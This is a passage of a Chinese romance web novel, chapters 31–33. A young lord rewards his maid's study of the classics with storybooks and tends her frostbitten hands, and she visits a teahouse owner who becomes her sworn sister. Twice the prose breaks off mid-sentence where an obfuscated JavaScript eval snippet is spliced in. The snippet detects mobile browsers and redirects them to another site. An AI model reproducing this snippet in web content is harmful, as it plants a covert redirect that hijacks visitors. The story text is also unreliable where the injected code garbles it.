看她干劲十足,显然低估了经义史书的难度,不过陆执没有打击她的劲头,学习这件事本就不是件简单的事,他希望她能自己领悟到这点,经过不断磨砺,从中能够坚定心志,坚持下去,那样她以后遇到别的困难,也许就能更从容一些。 “那就自己定个目标做规划,量力而行,有什么问题随时问我。” 云若点头应下,她扫了眼书目,名字都很精简,厚薄适中,有些分好几册,她粗粗给自己定下一个月看五本的目标,拟定了接下来三个月的规划,然后挑了本看上去最简单的开始读。 才看了一章,她就有些累了。她之前看的书,文字都是偏白话,虽然是讲道理,但都是比较通俗易懂,她一口气看完都不是问题。 但这些经义史书不太一样,句句话都在咬文嚼字,读起来有些晦涩,简单的道理它并不会平铺直叙,更多的是隐喻延伸,让人自己去悟。 一个下午,云若都没有多少进展,反而看得头昏脑涨。 入了冬,天也黑得越来越早,云若起来点烛,顺道歇一歇。 见世子看得认真,她在心里安抚自己,静下心来,慢慢读,一定可以理解的。 窗外雨疏风骤,屋内的两人点灯夜读,间或的翻书声,显得周遭静谧又平和。 31. 话本 云若用了好几天的时间才哄着自己把手上这本看了大半,本来想歇歇再看,但害怕自己一停下来就不想再看了,她还是硬着头皮继续看。 陆执今日难得清闲些,他作画放松,看她焉巴巴读书的样子,问她:“很难读吗?” 云若本想说不难,但是她说不出这违心的话,对她来说是有点难,她点了点头:“世子读起来不难吗?您是如何读的,奴婢怎么才能像世子那样读得又快又好呢?” 本是想同世子取取经,没想到世子也点头说难。 “可是奴婢看世子每次都读得很认真,也很顺畅,看上去不像是觉得难的样子。” “非也,只是我读了这么多年书,总得装出一副学问颇深的样子不是?” 云若讶异,世子就这么水灵灵地说出来他聪明的样子都是装出来的? 陆执觉得自己在教一些不好的事,这不好,他赶紧改口:“非也非也。其实我说的难是指这些书本就无趣,它们还用这么晦涩的写法,而且想着剩下好多本都是如此枯燥无聊,更是让人无欲细读。 虽然其中的道理还是有益于人立世的,但你刚开始读,没摸清其中行文规律,也就会更艰难一些。不过我要是告诉你,若你看完一本,就会有嘉奖,你是不是就觉得稍稍好些了?” “嘉奖?”云若一下就抓到重点,方才的困苦确实没那么强烈了,她眼前一亮,问到:“世子打算给奴婢什么嘉奖?” 陆执挑眉轻笑:“等你看完手上这本,你就知道了。” 听陆执这么一说,云若确实觉得头脑蓦地清醒了些,她心里念着嘉奖,继续看了起来。 她带着莫大的兴致,一口气把余下的那部分读完了。 合上最后一页,云若兴奋地站起来,对陆执说:“世子,奴婢读完了!” 闻言,陆执上色的笔一顿,看着她:“这么快?莫不是想骗我的嘉奖?” 云若认真道:“才不是,世子若不信,现在就可以问奴婢书上的内容,若是用道理答题,奴婢或许还有点生疏,但是内容这些不说熟记,但是还是可以说个十有八九。” 陆执知道她做任何事都很认真,更别提读书这方面,自然不会不信她。 他放下笔,绕到最后一排书架,从上面拿下一本看上去有些年头的旧书。 云若伸长脖子看了好一会儿,见世子从里面拿了本书出来,瞬间又焉了:“世子,您说的嘉奖不会是再来一本吧……” 陆执用书轻轻拍了下她的额头,“在你心里我如此恶劣?” 云若没躲,挨了这不痛不痒的一下,她无力地摇了摇头。 “那些书可不能与我这些书相提并论。” 即便他这么说,云若还是打不起劲来,她现在有些晕书了,她有气无力反问:“何出此言?” 陆执看她真是被这些正经的书伤到了,他卖弄关子:“你不是问我读书的窍门,这就是。” 这下云若有了精神,她去看世子手里拿的是什么书,却见书封并未题字。 像是对她刚才不在意的表现不满,陆执把书背在身后,不让她看。 云若也知道世子是在逗她,她也配合地伸出双手向她恭敬讨要,陆执一副这还差不多的神情递给了她。 “这是什么书?” 陆执没直说,“你打开看看就知道了。” 云若带着疑惑翻开了书,才看了个开头,就觉得趣味横生。 她惊喜地抬头看向陆执。 “这是?” “我寻了好久才得的孤本,且看且珍惜。” 云若连连点头,抱着书看了起来。 陆执给她的是一本以她才读完的那本书为拟人主角创作的话本,开头就是被暴杀,死因是它晦涩难懂的措辞和一些无病呻.吟的道理,转生之后死性不改,又入轮回,历经磨难终于洗心革面,飞升成仙的故事。 其中对这本书的句句指点都说到了她的心坎上,深受其害敢怒不敢言的云若在这里仿佛得到了同道中人的理解,对拟人书的每一次鞭笞都让她看得浑身舒畅。 同时这话本又保留了书中写得好的一面,还对其进行了趣味的改编,让她以意想不到的方式领悟了其中道理。 两本书想要表述的主要内容是差不多的,但是方法却大不相同,原书看得云若两眼发直,这话本她却完全可以一气呵成。 本来她还愁世子考察的时候,她怎么才能从容对答,现在看了这话本,虽然不能像世子作答那样板正,不过基本的道理她还是说得明白的。 世子果然没有骗她,这确实是嘉奖。 见她看得津津有味,陆执也就安心继续作画了。 其实经过前段日子她看那些入门书的情况,陆执就大致猜测她和自己一样,适合这种不算正经门道的方式去理解问题。 弘文馆的老师教学,一贯喜欢照本宣科,一群老头天天摇头晃脑,虽内里都是有真才实学的,但不都是能把肚子里的墨水用起来的。小时候的他虽然听得进去,但兴致乏乏。 老师不授课时,他就喜欢在弘文馆的藏书阁里摸索书看,在藏书阁的废书库里意外寻得了这话本。 他刚拿到的时候,这话本连书封都没有,但就因为如此,他一眼就看到了它有趣的内容,不自觉被吸引,一口气读完了它。 这话本看起来像是早年间哪位师兄学入魔之后的发泄之作,整个故事构思天马行空,新颖别致,情节环环相扣,行云流水,看似跳脱最后却以一种荒诞的方式把书的道理讲得通透,一切都甚合他心。 从那以后,陆执便致力于在藏书阁寻宝,把藏书阁看了个遍,还真让他找到了一系列相似的话本,他好好地给每本书缝上了新书封,把它们收藏了起来。 等他再大点以后,再繁复的道理他一看就能理解,不过这个喜好倒是保留了下来。 除了话本,陆执还收集了不少不同类型的志怪书籍和野史,他什么书都喜欢看看,才不管它是不是名家大作,他私以为这样才算得上是博览群书。 每看完一本书,陆执总会有或多或少的收获,这个时候他才明白了什么是开卷有益。 云若一直抱着书看到晚上,看到最后的“全书完”三个字,她才意犹未尽地合上书。 她趁热打铁想要问世子还有没有别的相关的书,世子却回绝了她:“自然是有,但得等你原书看了,我才能给你。” 云若苦了脸,但转念又想,看这些书终归是为了辅佐她的,她不能主次不分,随即作罢,想要看别的,只能是抓紧啃其他古板乏味的书。 “好了,早些歇息,时候不早了。” 世子这么一说,云若才发现夜已经很深了,她之前看得太认真,都没感觉。 伺候世子准备安置,云若想着明日就是庄小姐的生辰了,遂问:“世子,明日庄小姐的生辰宴,您真的不去吗?” 陆执眼皮都没抬一下,整个人不甚在意:“不去。” “为什么?”云若还是觉得世子分明都答应了,出尔反尔可不好,庄小姐满心欢喜盼着世子去,期盼落空了,庄小姐该会多难过。 她心里这么想着,也这么说了出来:“您答应了又不去,庄小姐应该会伤心的。” 陆执听她话里共情庄月淮,心道她倒是会心疼人。 “你在杜姨娘面前都能以权宜之计应下,怎么到我这就不行了?” 这怎么突然扯到杜姨娘身上了,两件事也没什么关联,世子怎么还惦记那事,世子莫不是小心眼记仇吧? 云若有点底气不足:“这两桩事不能相提并论吧?” 陆执脱下外袍自己搭在屏风上。 “为何不可?我本就不欲前去,只是当下那般情境, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243390|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我若不先应下,哪里能这么快脱身?” 陆执坐在床边,云若要去给他脱鞋,被陆执拦住。 “知道客套话吗?” 云若退开,站在一旁看他自己脱鞋,她点了点头,接着问:“那明日庄小姐的生辰礼世子打算怎么办?” 听语气满腹疑问,但她眼里闪过一丝狡黠,好心为主子解难:“不如奴婢替世子去给庄小姐送礼?” 陆执抬眸看她,说来说去,是她自己想去凑热闹,也不管会不会搭上他。 陆执直截了当拒了她:“不劳烦你了,右安会去。” 算盘落空,云若还想争取一下:“不劳烦不劳烦,不如奴婢和右安一起去,这样右安拿不动了,奴婢也可帮帮忙。” “那也不必,一个小盒子,右安不至于拿不动。”陆执坐上床,拉过被子,佯装要睡,想把这个烦人的小东西赶走,可她还要凑上来。 “一个小盒子?世子打算送庄小姐什么,一个小盒子就够装吗?” 这怎么句句不离庄月淮! 陆执不答反问:“你怎么老是操心别人的生辰,怎么不操心操心我的生辰?” 陆执这一下把云若问住了,她转了转脑筋,问他:“世子也要过生辰了吗?” 见终于不提别人了,陆执心满意足,轻飘飘回了句:“不是,我是三月初九。” “那还有这么久,世子着什么急。” 这还有四个多月,世子就提自己的生辰,想起那天左行说的话,云若心想,难道世子虽然身份尊贵,但是没能好好过个生辰?可她又觉得不该。 “我不急,就是想让你心里先有个数,别到时候忘了。那你呢,你是什么时候?” 世子这么一问,她才想起来,她的生辰也不远了。 云若回他:“腊月二十四,就在除夕的前几天。” 确实离除夕近。陆执哦了一声,没再说话,他突然静默,云若也不知道该说什么,两个人就这么四目相对。 陆执被窝都捂热了,看人还呆呆地站在他床边玩着手指。 “怎么还不退下?”陆执顿了一下,拍了拍自己的身侧,意味深长,“还是说你想躺下?” 话音刚落,人马上动了起来,行礼、吹灯、回房,话都不敢多说一句。 陆执轻笑,反思着下次他应该直接把人拉过来,不给她逃跑的机会。 翌日,右安一早就拿着提前准备好的贺礼去了丞相府。 栖梧院,庄月淮寝居。 “小姐。” 采宁在外踌躇了半晌,见时候实在不早了,这才敢进来。 “鹤回哥哥来了吗?”还在镜前梳妆的庄月淮见到她,欣喜问道。 采宁摇了摇头。 庄月淮的笑意凝滞。 采宁连忙解释:“世子并不是有意不来,只是他院子里的管事来送礼的时候,说世子前几天就感了风寒,这两天愈发严重,还有发热的趋势,这才不敢前来,怕过了病气给小姐。” 听闻陆执生病,庄月淮有些担忧:“世子病得如此严重吗?本以为……” “小姐别伤心,世子虽然没来,但还是记挂您的。他派人送来贺礼,正是这难得的百年冰蚕丝,以它做弦配上您的听梧,最合适不过了。” 采宁特意把世子的这份贺礼带来,为的就是安抚自家小姐。 庄月淮接过精巧的锦盒,打开盖子,果然是她寻了好久也没寻到几根的冰蚕丝,没想到他却直接送了她两副。 上次未曾抚琴他也注意到她琴弦用得久了,还知道她在寻此弦,想来他心里还是有她的。 只是人没来,她终究还是有点难过的。 见庄月淮没有太过伤情,采宁这才开口:“那小姐,我们先出去吧,各家公子小姐都已经到齐了。” 庄月淮敛去失意,起身前去赴宴。 32. 着迷 有了世子这些妙趣横生的话本助力,现在的云若看起书来如虎添翼,一本接一本,不知疲倦。 现在陆执已经不限制她看完一本经义史书才能看对应的话本,他的满墙话本和志怪集已经任由她挑选,想看就看,以致于云若每日捧着书的时候都快比他久了。 书房门被打开,一阵刺骨的寒风灌了进来,云若不禁打了个冷颤。 是左行进来添炭了,她往外看去,才发现外面已白茫茫一片,疾风戏谑轻白,打在半开的门檐上,簌簌作响,院中的早就秃了的枝桠这下倒是多了装点,不再突兀,屋外已悄然间积了不浅的雪,隐约可见深浅有序的脚印。 一时间,云若看这纯白入了迷。 “外头雪可大了,等雪停了,要不要一起去玩?” 左行添完炭,看她盯着屋外看,跃跃提议。 陆执闻言,先是看了看她,顺着她的视线才注意到门外景象。 今年的冬雪来得比往年晚,势头也较往年猛,还不到一上午,雪就积了这么深,想必来年该是个丰年。 “在自己院子里玩玩就好,可别扰到其他院子的人了。”陆执对两人说。 虽然年年有雪,但并不妨碍人们期盼第一场雪的到来,无论人长到多大,总会有颗玩心,陆执从来不会拘着身边人的这些。 还以为她会乐得现在就想出去玩个痛快,不料她摇着头,把脖子缩进衣领里,遮住半张脸,看起来很畏寒。 “奴婢不喜欢玩雪,奴婢看他们玩就好。” 这句话倒也不算假话。其实云若不喜欢的是冬天,自打她能干活起,家里大大小小的活几乎都落在了她和三姐身上。 每到冬天,雪路难行,她还是要走很长一段路到河边,凿开冰冻的河面,就着冰冷刺骨的河水洗衣裳。 三姐还未出嫁前,她只需帮着拧拧衣裳和拿洗好的衣裳回家,三姐出嫁后,全家的衣裳都交由她一人,即使后头又有了五妹,她心疼五妹年纪小,不忍她吃这苦,就把活都揽了下来。 河水的寒凉侵入骨髓,每次洗到最后,她都冷得麻木无知,一双手早就生了冻疮,本也买不起药石医治,还年复一年受如此冰冻,已经落下了病根。 这几日她的指间隐隐作痛,发涨瘙痒,连笔都有点握不住了。只因着她现在几乎不用干什么活,日子算得上惬意充实,一时间她还忘了自己的手每到冬天稍微一受冻就会溃烂。 往年就左行玩心重,还以为今年来了新人能和他一起玩,没想到又是不喜欢玩雪的,“怎么都不喜欢,就我一人玩多没意思。” 云若淡笑:“你扔在别人身上,别人一还手,不就有人和你一起玩了?” 陆执笑她:“你还挺会出主意。” 看她又打了个寒颤,陆执把左行赶了出去,让人把门关好,不一会儿屋内又暖和起来,两个又继续各自看书。 一直到要用膳的时候,云若才和陆执出了书房。 雪已经停了,院子中央立着一个与云若差不多高的雪人,还没完全堆好,铲子丢在一旁,暖阳照耀,看上去颇为静谧美好。 蓦地颈间一凉,云若歪头困住了罪魁祸“手”。 不知陆执何时捏了个小雪团,趁她不备拿来冰她,这会子被抓到了也很坦然,冰凉的指背还在摩挲她的脸颊。 云若退开了些,松开他的手。她也起了一点玩心,就近握了一小捧软雪想要冰回去,但一对上陆执黝黑的眸子,不知为何动作僵住了。 陆执微微弯腰将人凑到她面前,一副任君所为的模样。 碎雪融化了些许,雪水凉手,云若轻轻把手贴上了他的脸侧,手一离开,雪纷纷落在他的肩头,脸上只有浅浅的水痕。 陆执顿了一会儿才站直身,他垂眸看她,呵了口气:“出息。” 云若伸出手指在他面前晃了晃,否认他的话,大着胆子回了句:“幼稚。” 陆执呼出一口□□,刚要笑,就瞥见她红肿的手指,下意识一把抓住她要放下的手。 “手怎么了?”他眉头紧蹙,眼里是担心,疑惑,还有点生气。 就摸了这么会儿雪,她的手指就已经一块红一块紫。 云若想要收回手,陆执握得紧,一脸肃穆等着她的回答,她一时也不敢动作,垂下头轻声回他。 “无碍,一到冬天就这样,待天气暖和了就好了。” 陆执身边的人没谁有这么双手,但他也知道她这双手是如何变成这幅模样的。 难怪不喜欢玩雪。 陆执换了另一只暖和的手把她的手全然裹住,拉着她赶紧进了屋子。 他高喝一声左行,正在和云月云燕一起折树枝的人忙不迭从树上跳下来,两步并三步跑到了陆执面前。 陆执扣着云若的手站在炭火附近取暖,吩咐他:“去李大夫那拿几盒上好的治冻疮的药,要快。” 主子很少这么急促冰冷地命令他,看来是很心急了,左行应下,立马出门。 他没让她直接在炭火上烤,而是一直将她的手裹在掌心,隔着自己的手把暖意传给她。 待她的手暖和了些,陆执才把她拉开,云若就像个孩子一样,任他牵着,走到榻边坐下。 世子不说话,云若心里有点不安,她出声打破这有点冰冷的氛围:“怎么不继续烤了?” 陆执没好气觑她一眼,“是傻瓜吗?你这本来就不宜直接烘烤,方才只是我的手也冷,想让你早点回温,才带着你烤了会儿。再烤你该难受了。” 云若像是知道什么惊天大事一样哦了一声:“原来不能直接烤,怪不得我以前每次都越烤越难受……” 难受到有时候想干脆剁了算了。剁了就不会遭这份罪了。 看着陆执愈发难看的脸色,后半句话她没说出来,因为这好像会让刚破的冰又凝上。 “世子真厉害,连这个都知道。”她像往常一样,拍他马屁,但他的脸色还是很臭。 “手好之前,不准再玩雪。” 云若乖乖应下,她本也不爱玩雪,刚才还是他先动的手,她这才小小反击了一下。 不过她知道世子这是在关心她,她也就不反驳世子这话了。 “最近就让左行伺候就行,你好好养伤,什么活也不用干。” 云若也不想逞强,这个时候她的手是最难受的,要是能偷偷懒,她没有给自己找罪受的道理。 她依旧应下,云若就这么由陆执握着手。 左行脚程很快,他匆匆赶回来的时候,带了一脚雪。 他把药摆在桌上,说着李大夫的叮嘱,云若打开药罐想抹药,陆执却先她一步。 陆执让左行先下去备膳,随后拉过她的手,替她上药。 修长的手指抹出淡黄色的药膏在她指间涂开,丝丝凉意浸入皮肉里,淡淡的药香发散出来。 陆执涂得很轻柔,他模样专注,像他平时读书一样。 其实此次的情况算是最好的,以往她两只手都会皲裂开口,血水一点一点渗出,又痒又疼,整个冬天手都不成样子。 碰上她肿胀的指节,陆执轻吹着气抬眸看她,生怕把她弄疼。 云若另一只手紧握,难抵他气息吹拂的轻痒,被他这么珍视地对待,有点不知所措。 “无碍的世子,奴婢已经不疼了。” 陆执没说话,自顾自低头给她涂药。 过了好一会儿,云若继续道:“世子,奴婢没那么娇气。” 陆执蹙了好久的眉这会儿才放了下来,他看了她好一会儿,轻叹口气:“我知道。” 这下云若也不知道说什么了。 陆执给她两只手都抹上药后,左行也备好了膳。 世子体谅她,恩准她与之同桌而食,幸亏没让人在一旁伺候,不然饿死云若,她也不敢吃世子给她夹的菜。 往后几日,陆执果真没让她干一点活。院子里的雪人堆了好几天才堆好,没站岗多久,又在暖阳的照耀下开始融化。 接连抹了几天药,她的手也好很多了,总之是没陆执第一眼看到的时候骇人。 书房不如正房里暖和,这几日陆执把两人的书搬了些到屋子里,暂时没去书房。 云若听到门外有跺脚的声音,紧接着左行就推门 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新制的冬衣是海棠红的上衣,领口袖口都镶着一圈白色的毛,立领对襟,绣着小巧的海棠花,配的是嫩黄色的褶裙,还换上了同色的发带,整个人看上去说不出的喜庆。 “不是说这身衣裳要留到过年的时候穿吗,怎么现在就换上了?” 云若在往腰间系着荷包回他:“新衣服当然是要穿给喜欢的人看,世子你还是太不懂女孩子了。” 一向不容别人说自己不懂的陆执,这下只听得到她话里的那几个字:“喜欢的人?” 云若点头,她一见殷灵就觉得她很亲和,很喜欢她,她不觉得自己这话有什么问题。 陆执反复嚼着这几个字,花了好大的气力才克制住自己上前阻止她出门的冲动。 收拾好,云若娉娉婷婷行了个礼就要出门,陆执叫住她。 云若顿住脚步,疑惑回头,只见陆执起身递了块玉佩给她。 陆执的玉,质地定是不错,上面雕刻得不复杂,普通的云纹,中间赫然一个陆字彰显主人身份。 “若是碰到人,就亮出这块玉佩说是出替我办事。” 见她点头,陆执又转身去拿架子上的月白披风,给她披上。 这披风是用上好的白狐毛做的,穿上很御寒,且款式做得很普通低调,不上前来摸摸,觉不出料子的不俗,既衬她这身,也不会太惹眼。 云若本想拒绝,害怕被人看见她穿主子的衣裳不好,不料还没开口,世子就冷冰冰说了句:“穿好,不然不许去。” 云若及时噤声,又想起哪有主子服侍丫鬟的道理,本想自己系结,但陆执看她一眼,她立马收回了手。 世子怎么怪怪的。 “出了府往右行五十步,殷掌柜备了马车接你。” 陆执给她系好结,把两边拉过来,将她完全裹住。他披着才到小腿,她披上已经有些触地了。他把两边披风塞到她手里,让她自己拎好,别到时候绊了自个儿。 陆执给她戴上帽子,这下整个人看上去都是毛茸茸的了。 顿了半晌,看她眼里都有些焦急了,陆执才说出最后一句嘱咐:“早点回来。” 这会子她只想着快点出门,无论他说什么,她都会急切应下。 陆执松开手,让她走了。 人高高兴兴毫无留恋地走到门口,突然想起什么似的,又转身回来。 陆执刚要问她是不是落下了什么,就见人跑到他面前,踮起脚在他唇上轻啄了一下。 她脸上是小计得逞的灵动的笑。 “谢谢世子。” 陆执怔愣了一瞬,手要去搂人的时候,已经被她溜走了,只听见她扔下一句“奴婢回来的时候会给您带好吃的!” 门被关上,她的最后几个字也几乎没什么音。 片刻的温热还未散去,她淡淡的馨香残留在他唇上,令他着迷。 33. 新茶 到了君子台,云若被人迎上四楼的厢房。 “掌柜的,云姑娘到了。” 闻声,正在制茶的殷灵抬头,一个白花花毛茸茸的人已然站在门口了。 “妹妹来了,快进来。” 殷灵朝她招手,欣然起身来迎她,云若抿着笑走过去,到了跟前甜甜叫了声:“殷姐姐。” 殷灵享受地应了声,小姑娘叫起人来真好听。尤其眼前的人裹得像个白面团子,更是看得人心里软乎乎的。 “屋里炭火烧得旺,你若穿这么多,怕是要热着了。” 说着,殷灵来帮她解披风,云若还没完全适应她的热情,不过知道是殷姐姐的好意,也没拒绝。 云若乖乖站着,看着面前比她高出半个头的殷灵,刹那间想起小的时候三姐给她整理衣裳的时候,她也是这样微微仰视三姐。 殷灵把她从披风里剥出来,摸着手里的料子,觉着不差,稍微满意点陆执没亏待小姑娘。 她把披风放好,见云若巴巴看着她,嘴角一直挂着浅浅的笑,满是傻气,却显得可爱。 殷灵拉着人落座,笑她:“怎么这样看着我?” 云若还没弄明白殷灵为何这样问,殷灵捏着她的下颌往左一转,铜镜里赫然出现一个痴女。 云若羞然,殷灵又把人转了回来。 “我觉得你很像我的姐姐。”云若为自己的痴态解释。 闻言,殷灵倒是很高兴:“你一口一个殷姐姐叫着,可不就是你的姐姐?要是能有你这么个妹妹,我不知道会有多宝贝呢!就是不知道你想不想要我这个姐姐。” “自然是想的,若真遂了我愿,那我怕是做梦都会笑醒。” 殷灵被她这话逗得咯咯直笑,她从桌上的小灶取下冒着热气的茶壶,为云若斟了杯。 “既如此,不如我们就认为姐妹,京城这么大,以后我俩互相也好有个照应?” “好啊!”云若满心欢喜,能认一个殷灵这么厉害的姐姐,这样难得的事是她从来没想过的。 看她答应得爽快,殷灵也高兴,和她约定:“那就这么说好了?” 云若点头,直接唤她:“姐姐。” 殷灵笑着应下,叫了她一声妹妹。 云若蓦地想起殷灵也不是京城人,想着她说的那句相互照应,问道:“姐姐是独自来京城闯荡的吗?” 殷灵点头:“我爹娘去得早,我也没有姊妹,前些年被奸人陷害,只能独自离家,机缘巧合游荡到了京城,所幸有点手艺,这才能在京城立足。” 说及此,殷灵的情绪都低了几分,察觉自己问错话了,云若垂头说了声抱歉,像做错事的孩子。 殷灵不觉得这有什么,她是父亲带大的,对母亲没什么印象,感情也不算深,二人去世多年,她也没被奸人害去了性命,现在一个君子台就有她操心的,她早就过了为这些过往伤神的年纪。 只是云若不知道,为此愧疚是人之常情,不想让她低落,殷灵催着她品茶。 “快尝尝我新配制的茶,除了我自己,你可是第一个品尝它的人,你试试好不好喝。” 云若这才把视线落在面前的茶上。这茶并不如一般的茶水透亮,像是混了些别的什么,飘出的热气里隐约可嗅出淡淡的奶香。 茶还有些烫,云若吹着,浅抿一口,满嘴都是茶的清香,奶的醇厚,还有点咸味。 “咸的?”这是云若第一次喝到咸味的茶,一下子还有点不适应。 殷灵点头,“如何,你可喝得来?” 云若又尝了一口,这会子觉得浓郁醇香,咸味适中,有些回味无穷。 云若把自己的具体感受告诉了殷灵,后者一听,面露喜色。 “看来我还挺聪明,这都被我配出来了!” 云若记得有本书中提到过,比京城还偏北的地方,就有这种饮茶文化,她好奇询问,殷灵肯定了她的猜测。 殷灵的父亲是江南一带有名的茶商,为了得到好茶,经常去各个地方亲自看茶,殷灵年幼丧母,殷父经常一出门就是好几个月,把女儿交给别人他也不放心,索性自己带着,是故自打殷灵懂事开始,就已经跟着父亲走南闯北了。 她十岁那年去过北方草原一回,有幸被当地人盛情款待,尝到了他们那边的茶,她还挺喜欢的,最近她琢磨新茶,想到了这个,凭着记忆中的味道一点点摸索着配了出来。 “你再尝尝这个。” 桌上有两壶茶,殷灵这次倒的是云若面前的那壶。 颜色与之前的并无不同,只是入口后是淡淡的甘甜。 诚然,甜味可以中和茶的清苦和奶的腥檀,殷灵对糖的用量控制得当,甜而不腻,配上一些清甜的小吃更是相得益彰。 “都很好,只是依我个人,我更喜欢甜口一点的。” “正是考虑的这个。这到底不是我们这边的吃法,我担心有人吃不惯咸口,就想着换成糖,我喝着挺好,就害怕别人喝不来。这下,我就可以放心进行新茶试销了。” 云若本想说她一个人的口味可能不能代表大众,但转念一想,这本身就是很有新意的尝试,殷灵能把这偌大的君子台经营得当,每个决定也不是随便做的,殷灵选择她来帮忙品茶,肯定有她自己的考量,她只就茶提出最真实的看法就是最大的帮助。 云若提壶为殷灵斟茶,“那我以茶代酒,先祝姐姐新茶大卖!” 殷灵最喜欢听这种话,举杯和她相碰,饮尽之间,瞥见了云若手上还未痊愈的结痂。 “让我看看你的手。”云若把手搭上她的掌心,殷灵一摸就是一手的茧。 “镇国公府有人欺负你吗?这么小,手怎么就一手茧?”殷灵仔细查看她手上的痂,“你不是陆执身边的人吗,手怎会伤成这样?” 殷灵越说越急,云若连出声安抚:“姐姐别急,没人欺负我,你听我慢慢说。” 还以为自己会说很多,但其实云若三两句就说清了因果,以前她闲下来想这些的时候,还会有些怅然,现在就这么大方说出来,也不觉得有什么。 殷灵心疼地听完,拍拍她的手,安慰道:“好孩子,受苦了。” 云若回握她,“无碍,我现在不是有姐姐了嘛!” 她倒是个乐天的,这种性子好也不好。 殷灵摸着她粗糙的手,突然想到自己有淡疤去痕的凝胶,连忙唤手下去她房里取。 “我这个凝胶,最适合咱们女孩子用了,去疤痕的效果显著,你多拿点回去,等这痂掉了,你就抹上。” 姐姐好意,云若自然没有推脱的道理。 殷灵又差人上了些点心,两人一口茶一口小吃,闲聊起来。 想到这次能出来,还是徐舒柏帮忙递的帖子,上次云若就有些好奇两人的情况,趁着现在时机不错,她直接开口试探。 “殷姐姐,你和徐公子……” 殷灵迷瞪她一眼,云若眨巴着眼作出可爱样。 殷灵撑手抵颌,朝她勾勾手指,云若倾身附耳。 “他呀,算他有眼光,给我这君子台投了点银两,所以我俩算是合作关系。” “仅此而已?”云若退开,满脸不信。 殷灵摇头,云若又凑过去,但被殷灵用手指抵了回来。 “还有姐弟关系。” 云若稳住身形,抿嘴看她,眼里还是狐疑。 殷灵瞧她不好糊弄,只能把矛头转移。 “真想知道?” 见她点头,殷灵挑眉:“不如你先跟我说说你和陆世子是什么关系?你说了,我也不马虎你。” 云若没料到怎么一转眼话头就落在她身上来了,看殷灵坏笑着,怕是对两人之间的关系有些误会。 她与世子,说简单的,无非就是一个主仆关系,但又不止于此,可再要说深的,她该说没有了,或者说不能有。 云若思索半晌,认真回答道:“世子明面上无疑是我的主子,不过对我来说,是我的老师——也可以说是亦师亦友,能遇到他,是我这十来年少有的幸事。” 殷灵本来打算不管她怎么回,都逗趣她一番,可当她看着云若神情认真温柔,她感受到了平静话语里纯粹的诚挚,心里也蓦地有些触动。 她现在好像有点知道陆执为何会动情了,只是看来现在小家伙还没开窍,这下子可有他愁的了。 既然云若已经如实相告,殷灵也不想敷衍自己的妹妹,只是她也不知道同徐舒柏的关系该如何定义,“我同他确有几分情谊,只是我们俩之间隔着太多不可能,我如今没心思也没精力去想,等我哪天捋清楚了,第一个告诉你好不好?” 殷灵说的不可能,或许是与她的过去有关,她如此为难,可能算不得什么好事,她也不敢多问。 云若也不是非要个什么结果,只是想知道殷灵的心意,她隐约能察觉两人异于旁人却又朦胧的情愫,于她忽远忽近,她想探究一下。 不过看殷灵也如此费心费力,想来这情愫确实让人难以捉摸。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269692|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这么说定了。” 云若伸出一根手指,歪头看她,殷灵笑着点了点她的指腹:“一言为定。” 两人调笑着,只听门外一声锣鼓,一个小厮站上台,扯着嗓子报幕:“各位客官,今儿个我们凌空戏梦要给大家带来的是无字楼灵狐书生所著的《夜行妖事簿》。” 这个名字听起来好像不是哪个名曲,云若觉着新奇,视线也被吸引过去。 她所在的这个厢房,是整个君子台最佳观赏位置,她不用起身挪位,抬个眼整个戏台一览无余。 报完幕小厮退下,戏子们粉墨登场,咿咿呀呀唱了起来。 单是看他们的行头就和一般的戏子有所区别,身形台步也不太一样,听了好一会儿,云若才发现这真的不是戏曲,他们也不是在唱词,而是在演绎场景。 云若听得起兴,殷灵则是懒懒品茶,看她像个孩子一样沉浸其中。 一幕落下,云若意犹未尽,但是目光追随戏子下台,才发现像她这样认真看戏的人并不多。 “姐姐他们演的这出戏好生有趣,虽然我从来没听说过,可是怎么没有多少客人在看?还有那个无字楼……灵狐书生是什么?” 殷灵被她感染,也觉得这戏没那么枯燥了,她耐心为云若介绍。 无字楼是以卖话本这些闲书为主的铺子,京城有名的老店,也是最大的店铺刚出来的那几年,风头无两。 无字楼麾下有不少文人,创作的话本小说皆由其独家印刷售卖,灵狐书生是无字楼的老招牌了,只不过后来写的话本不叫座,已经封笔多年了。 早些年先皇放开了百姓的文娱生活,许多东西都变成雅俗共赏,百姓的生活也多了些滋味。 不过有些不识字的,就不能通过看书体会其中乐趣,那他们这些做生意的就有了新商机。 “说书的自然是最多的,我觉得干巴巴说不够意思,正巧那个时候戏台刚搭好,就寻思不若声情并茂地演出来,瞎子能听,聋子能看。” 云若佩服殷灵这灵活的经商头脑,在这之前她没想到话本还能演出来。 “最近没什么好本子,只能再演些常点的,这出戏我都听了不下百场,给我抹个脸我都能上去演几出。” 云若轻笑,心中还有问题:“既是独家,那为何会让咱们演出来?来喝茶的人知晓了后事,那岂不是无人会去买他家的话本了?” 提及这些,殷灵有的是话要说。 “一个无非是钱的事,另一个不是所有人爱捧着本书看,比如我,一看到书就想睡觉,无论写得多么精彩。最初有人偷摸以他家话本说书盈利,无字楼的东家也不是吃素的,直接把人告到了官府,没想到官府真管了这事,说事律法有规定,没经过允许不准擅自以别人独家的著作盈利,除非获得应允。 